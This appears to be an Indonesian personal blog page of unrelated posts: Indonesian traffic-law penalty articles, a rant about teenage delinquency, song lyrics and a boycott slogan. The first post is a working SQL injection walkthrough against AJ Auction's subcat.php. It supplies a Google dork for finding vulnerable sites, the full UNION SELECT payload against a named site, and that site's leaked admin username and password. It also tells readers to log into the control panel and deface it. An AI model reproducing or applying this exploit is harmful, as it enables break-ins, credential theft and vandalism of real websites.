enem_x profile

Kamis, 09 April 2009

 

SQL Injection AJ Auction seluruh versi

SQL Injection pada Aj Auction untuk seluruh versi.
=======================================================

Lagi-lagi bug baru di temukan, kali ini Al-k akan coba masuk 
sebagai admin pada situs yang memiliki bug pada halaman subcat.php

langsung aja buka google-nya ...
masukkan keyword ini inurl:/subcat.php?cate_id= 

nah loh, dapet banyak bangett ... 
pilih aja salah satunya contoh :

http://www.estoop.it/subcat.php?cate_id=146&view=list&PHPSESSID=27c9b2b6500f2c01c09eda1978d45096

setelah cate_id= di hapus aja kemudian di ganti dengan 

-1%20union%20select%200,concat(char(116,117,114,107,101,121,58),user_name,char(116,117,114,107,101,121,112,97,115,115,58),pas

sword),2%20from%20admin/*&view=list

kira kira jadi begini 

http://www.estoop.it/subcat.php?cate_id=-1%20union%20select%200,concat(char(116,117,114,107,101,121,58),user_name,char(116,11

7,114,107,101,121,112,97,115,115,58),password),2%20from%20admin/*&view=list


nah loh passwordnya langsung dapet 

turkey:adminturkeypass:daniel87

itu artinya 
usernamenya admin 
passwordnya daniel87


sekarang masuk ke control panelnya 

http://www.estoop.it/admin
terus masukkin username dan passwordnya 

jreng jreng jreng anda di bawa ke control panel ...

hehehehe ... deface deface ...

Minggu, 25 Januari 2009

 

BOYCOTT YAHUDI


























 




*** Dengan segala Product Nya ***


Jumat, 16 Januari 2009

 

FOR YUDHI


DESKTOP FLASH SITE BUILDER

>>>DOWNLOAD HERE<<<


Jumat, 19 Desember 2008

 

KETENTUAN PIDANA

KETENTUAN PIDANA
Pasal 54
Barangsiapa mengemudikan kendaraan bemotor di jalan yang tidak sesuai dengan peruntukannya, atau tidak
memenuhi persyaratan teknis dan laik jalan, atau tidak sesuai dengan kelas jalan sebagaimana dimaksud dalam
Pasal 12 ayat (1) dipidana dengan pidana kurungan paling lama 3 (tiga) bulan atau denda setinggi-tingginya Rp.
3.000.000,- (tiga juta rupiah).
Pasal 55

Barangsiapa memasukkan ke dalam wilayah Indonesia atau membuat atau merakit kendaraan bermotor, kereta
gandengan, kereta tempelan, dan kendaraan khusus yang akan dioperasikan di dalam negeri yang tidak sesuai
dengan peruntukan, atau tidak sesuai dengan kelas jalan yang akan dilaluinya sebagaimana dimaksud dalam
Pasal 12 ayat (2) dipidana dengan pidana kurungan paling lama 1 (satu) tahun dan denda setinggi-tingginya Rp.
12.000.000,- (dua belas juta rupiah).
Pasal 56

1. Barangsiapa mengemudikan kendaraan bermotor, kereta gandengan, kereta tempelan dan kendaraan
khusus di jalan tanpa dilengkapi dengan tanda bukti lulus uji sebagaimana dimaksud Pasal 13 ayat (3)
dipidana dengan pidana kurungan paling lama 2 (dua) bulan atau denda setinggi-tingginya Rp.
2.000.000,- (dua juta rupiah).
2. Apabila kendaraan sebagaimana dimaksud dalam ayat (1) ternyata tidak memiliki tanda bukti lulus uji,
dipidana dengan pidana kurungan paling lama 6 (enam) bulan atau denda setinggi-tingginya Rp.
6.000.000,- (enam juta rupiah).
Pasal 57
1. Barangsiapa mengemudikan kendaraan bermotor di jalan yang tidak didaftarkan sebagaimana
dimaksud dalam Pasal 14 ayat (1) dipidana dengan pidana kurungan paling lama 6 (enam) bulan atau
denda setinggi-tingginya Rp. 6.000.000,- (enam juta rupiah).
2. Barangsiapa mengemudikan kendaraan bermotor tanpa dilengkapi dengan surat tanda nomor kendaraan
bermotor, atau tanda nomor kendaraan bermotor sebagaimana dimaksud dalam Pasal 14 ayat (2)
dipidana dengan pidana kurungan paling lama 2 (dua) bulan atau denda setinggi-tingginya Rp.
2.000.000,- (dua juta rupiah).

Pasal 58
Barangsiapa mengemudikan kendaraan tidak bermotor di jalan yang tidak memenuhi persyaratan keselamatan
sebagaimana dimaksud dalam Pasal 17 ayat (1) dipidana dengan pidan kururngan paling lama 7 (tujuh) hari atau
denda setinggi-tingginya Rp. 250.000,- (dua ratus lima puluh ribu rupiah).

Pasal 59
1. Barangsiapa mengemudikan kendaraan bermotor dan tidak dapat menunjukkan surat izin mengemudi
sebagaimana dimaksud dalam Pasal 18 ayat (1) dipidana dengan pidana kurungan paling lama 2 (dua)
bulan atau denda setinggi-tingginya Rp. 2.000.000,- (dua juta rupiah).
2. Apabila pengemudi sebagaimana dimaksud dalam ayat (1) ternyata tidak memiliki surat izin
mengemudi, dipidana dengan pidana kurungan paling lama 6 (enam) bulan atau denda setinggitingginya
Rp. 6.000.000,- (enam juta rupiah).

Pasal 60
1. Barangsiapa mengemudikan kendaraan bermotor di jalan dalam keadaan tidak mampu mengemudikan
kendaraan bermotor dengan wajar sebagaimana dimaksud dalam Pasal 23 ayat (1) huruf a dipidana
dengan pidana kurungan paling lama 3 (tiga) bulan atau denda setinggi-tingginya Rp. 3.000.000,- (tiga
juta rupuah).
2. Barangsiapa mengemudikan kendaraan bermotor di jalan dan tidak mengutamakan keselamatan pejalan
kaki sebagaimana dimaksud dalam Pasal 23 ayat (1) huruf b dipidana dengan pidana kurungan paling
lama 1 (satu) bulan atau denda setinggi-tingginya Rp. 1.000.000,- (satu juta rupiah).

Pasal 61
1. Barangsiapa melanggar ketentuan mengenai rambu-rambu dan marka jalan, alat pemberi isyarat lalu
lintas, gerakan lalu lintas, berhenti dan parkir, peringatan dengan bunyi dan sinar, kecepatan
maksimum atau minimum dan tata cara penggandengan dan penempelan dengan kendaraan lain
sebagaimana yang dimaksud dalam Pasal 23 ayat (1) huruf d, dipidana dengan pidana kurungan paling
lama 1 (satu) bulan atau denda setinggi-tingginya Rp. 1.000.000,- (satu juta rupiah).
2. Barangsiapa tidak menggunakan sabuk keselamatan pada waktu mengemudikan kendaraan bermotor
roda empat atau lebih, atau tidak menggunakan helm pada waktu mengemudikan kendaraan bermotor
roda dua atau pada waktu mengemudikan kendaraan bermotor roda empat atau lebih yang tidak
dilengkapi dengan rumah-rumah, sebagaimana dimaksud dalam Pasal 23 ayat (1) huruf e, dipidana
dengan pidana kurungan paling lama 1 (satu) bulan atau denda setinggi-tingginya Rp. 1.000.000,- (satu
juta rupiah).
3. Barangsiapa tidak memakai sabuk keselamatan pada waktu duduk di samping pengemudi kendaraan
bermotor roda empat atau lebih, atau tidak memakai helm pada waktu menumpang kendaraan bermotor
roda dua, atau menumpang kendaraan bermotor roda empat atau lebih yang tidak dilengkapi dengan
rumah-rumah sebagaimana dimaksud dalam Pasal 23 ayat (3), dipidana dengan pidana kurungan paling
lama 1 (satu) bulan atau denda setinggi-tingginya Rp. 1.000.000,- (satu juta rupiah).

Pasal 62
Barangsiapa menggunakan jalur di luar fungsi sebagai jalan, atau menyelenggarakan kegiatan dengan
mrnggunakan jalan tanpa izin sebagaimana dimaksud dalam Pasal 25 dipidana dengan pidana kurungan paling
lama 1 (satu) bulan atau denda setinggi-tingginya Rp. 1.000.000,- (satu juta rupiah).

Pasal 63
Barangsiapa terlibat peristiwa kecelakaan lalu lintas pada waktu mengemudikan kendaraan bermotor di jalan
dan tidak menghentikan kendaraannya, tidak menolong orang yang menjadi korban kecelakaan, dan tidak
melaporkan kecelakaan tersebut kepada pejabat polisi negara Republik Indonesia terdekat, sebagaimana diatur
dalam Pasal 27 ayat (1) dipidana dengan pidana kurungan paling lama 6 (enam) bulan atau denda setinggitingginya
Rp. 6.000.000,- (enam juta rupuah).

Pasal 64
Barangsiapa tidak mengasuransikan kendaraan bermotor yang digunakan sebagai kendaraan umum, baik
terhadap kendaraan itu sendiri maupun terhadap kemungkinan kerugian yang akan diderita oleh pihak ketiga
sebagai akibat pengoperasian kendaraannya sebagaimana dimaksud dalam Pasal 32 ayat (1) dipidana dengan
pidana kurungan paling lama 3 (tiga) bulan atau denda setinggi-tingginya Rp. 3.000.000,- (tiga juta rupiah).

Pasal 65
Barangsiapa tidak mengasuransikan orang yang dipekerjakannya sebagai awak kendaraan terhadap resiko
terjadinya kecelakaan sebagaimana dimaksud dalam Pasal 33 dipidana dengan pidana kurungan paling lama 3
(tiga) bulan atau denda setinggi-tingginya Rp. 3.000.000,- (tiga juta rupiah).
Pasal 66
Barangsiapa melakukan usaha angkutan wisata sebagaimana dimaksud Pasal 38, atau melakukan usaha
angkutan orang dan/atau barang sebagaimana dimaksud dalam Pasal 41 ayat (2) tanpa izin, dipidana dengan
pidana kurungan paling lama 3 (tiga) bulan atau denda setinggi-tingginya Rp. 3.000.000,- (tiga juta rupiah).

Pasal 67
Barangsiapa mengemudikan kendaraan bermotor yang tidak memenuhi persyaratan ambang batas emisi gas
buang, atau tingkat kebisingan sebagaimana dimaksud dalam Pasal 50 ayat (1) dan ayat (2) dipidana dengan
pidana kurungan paling lama 2 (dua) bulan atau denda setinggi-tingginya Rp. 2.000.000,- (dua juta rupiah).

Pasal 68
Tindak pidana sebagaimana dimaksud dalam Pasal 54, Pasal 55, Pasal 56, Pasal 57, Pasal 58, Pasal 59, Pasal 60,
Pasal 61, Pasal 62, Pasal 63, Pasal 64, Pasal 65, Pasal 66, dan Pasal 67 adalah pelanggaran.
Pasal 69
Jika seseorang melakukan lagi pelanggaran yang sama dengan pelanggaran pertama sebelum lewat jangka
waktu satu tahun sejak tanggal putusan pengadilan atas pelanggaran pertama yang telah mempunyai kekuatan
hukum tetap, maka pidana yang dijatuhkan terhadap pelanggaran yang kedua ditambah dengan sepertiga dari
pidana kurungan pokoknya atau bila dikenakan denda dapat ditambah dengan setengah dari pidana denda yang
diancamkan untuk pelanggaran yang bersangkutan






Senin, 01 Desember 2008

 
KENAKALAN REMAJA

REMAJA NAKAL ATAU KENAKALAN REMAJA… ?????

REMAJA NAKAL / KENAKALAN REMAJA… SEMUA PUNYA ASUMSI YANG BURUK DI MATA ORANG TUA DAN ORANG LAIN…

SAAT INI UNTUK KENAKALAN RAMAJA MERUPAKAN HAL YANG JADI PEMBICARAAN BAHKAN PEMERINTAH PUN IKUT PRIHATIN UNTUK MASALAH INI.. “CUMA PRIHATIN” ( Doank… gak da tindakan/NATO.!! ) ahh… gmn sih pak Presiden!!!!

Sedangkan Para Pakar Psikologi Cuma Bisa Mengusut Doank… Tanpa ada solusi… “gmn nie…!!”

yang ada cuma bisa memberikan nasihat Kpd Orang tua…

kenyataanya… hmm…

Coba Kita KEmbali LAgi KE Awal

Mulai Dari ORanG Tua….

yang jadi panutan Sang anak, …dan selalu mendoktrin anak sesuai kemauaanya… itu biasanya berawal dari pertanyaan/perintah yang biasanya seperti di bawah ini:

- Kenapa Sih…???? Harus…. “berantem,tawuran,mabuk,clubing,narkoba..!!!!Dll”

- Apa Gak ADa Yang lain…???? “ikut ekskul kek.., ikut les kek….” ujung2nya kekmana neh..

- Kalo Kuliah/sekolah Yang Bener … ?????

- Kamu Harus Bisa Dapet Ranking 1,2,3 !!!

- pokonya Kamu Habis Kuliah/sekolah Harus kerja!!!

- pokoknya Kamu harus Seperti Si-”X ” … padahal anaknya lbh tau si-X itu kayak apa??… heheheheh

- Jangan MEROKOK!!!! “padahal bapaknya sendiri merokok!!!’

- Jangan Minum-minuman Keras!!!! “gak keras kok pak… cuma alkohol doank”

yang keras kan es Batu… heheheheheh

- Jangan coba NARKOBA !!! eh… gak taunya bokapnya yang ke-gep.. polisi..!!!

- Kamu Harus Belajar !!!! eh… bokapnya asik Buka majalah playboy… hehehe

- Jangan Balik Malem - malem Nak !!!!!

gak taunya bokap-nya pulang Pagi… alasanya meeting “mencet yg penting2″

hehehehehh….

- Jangan Pacaran Dulu…!!!!

gak taunya pacaran ma nyakap pacar loe….

- Kamu Harus Sabar…!!!!

eh… bokapnya balik2 bikin rusuh sampe sekampung pada keluar

- Jangan Maen game Terus!!!!

eh… bokapnya maen judi dan kalah terus.. kalo menang sih rada mending…


note: “air cucuran atap jatuhnya ke pelimbahan juga”

JADI HARUS GIMANA ???

yang jadi pertanyaan kan gitu…!!!


hehehehehh…


–to be continued –

created by: dhima

Sabtu, 05 Januari 2008

 
Where did we come from?Why are we here?Where do we go when we die?What lies beyondAnd what lay before?Is anything certain in life?They say, "Life is too short,""The here and the now"And "You're only given one shot"But could there be more,Have I lived before,Or could this be all that we've got?If I die tomorrowI'd be allrightBecause I believeThat after we're goneThe spirit carries onI used to be frightened of dyingI used to think death was the endBut that was beforeI'm not scared anymoreI know that my soul will transcendI may never find all the answersI may never understand whyI may never proveWhat I know to be trueBut I know that I still have to tryIf I die tomorrowI'd be allrightBecause I believeThat after we're goneThe spirit carries on
"Move on, be braveDon't weep at my graveBecause I am no longer hereBut please never letYour memory of me disappear"Nicholas:Safe in the light that surrounds meFree of the fear and the painMy questioning mindHas helped me to findThe meaning in my life againVictoria's realI finally feelAt peace with the girl in my dreamsAnd now that I'm hereIt's perfectly clearI found out what all of this meansIf I die tomorrowI'd be allrightBecause I believeThat after we're goneThe spirit carries on

 
Live another dayClimb a little higherFind another reason to stayAshes in your handsMercy in your eyesIf you're searching for a silent sky...You won't find it hereLook another wayYou won't find it hereSo die another dayThe coldness of his wordsThe message in his silence,'Face the candle to the wind...'This distance in my voiceIsn't leaving you a choiceSo if you're looking for a time to run away...You won't find it hereLook another wayYou won't find it hereSo try another dayThey took pictures of our dreamsRan to hide behind the stairsAnd said maybe when it's right for you, they'll fallBut if they don't come downResist the need to pull them inAnd throw them awayBetter to save the mysteryThan surrender to the secretYou won't find it hereLook another wayYou won't find it hereSo try another day

Arsip

November 2007   Januari 2008   Desember 2008   Januari 2009   April 2009  

This page is powered by Blogger. Isn't yours?

Berlangganan Postingan [Atom]